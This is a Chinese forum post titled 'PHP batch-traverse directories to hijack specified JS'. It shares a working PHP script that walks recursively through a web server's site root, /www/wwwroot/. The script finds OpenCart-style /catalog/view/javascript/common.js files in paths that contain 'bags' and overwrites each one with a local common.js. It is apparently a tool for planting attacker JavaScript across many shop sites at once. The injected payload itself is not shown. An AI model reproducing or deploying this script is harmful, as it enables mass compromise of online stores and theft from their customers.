• 注册
  • 技术交流 技术交流 关注:26 内容:30

    PHP批量遍历目录劫持指定JS

  • 查看作者
  • 打赏作者
  • PHP批量遍历目录劫持指定JS

    <?php 
    set_time_limit(30000);
    function bdir($dir,$typearr){
    $ndir = scandir($dir);
    foreach ($ndir as $k => $v){
    if ($v == '.' || $v == '..'){
    continue;
    }
    if (filetype($dir.$v) == 'file'){
    $arr = explode('.',$v);
    $type = end($arr);
    if (in_array($type,$typearr)){
    	$filejs=$dir.$v;
    	if(strpos($filejs,'bags') !== false){ 
    	if(strpos($filejs,'/catalog/view/javascript/common.js') !== false){ 
    	copy("common.js",$filejs);
     echo $filejs."<br />";
    }else{
    }
    	}
    }
    }elseif (filetype($dir.$v) == 'dir'){
    //echo $dir.$v."<br />";
    bdir($dir.$v.'/',$typearr);
    }
    }
    }
    
    $dir ='/www/wwwroot/';
    $typearr = array('js');
    bdir($dir,$typearr);
    ?>

    请登录之后再进行评论

    登录

    WordPress后台-外观-小工具 进行配置小工具

    帖子间隔 侧栏位置: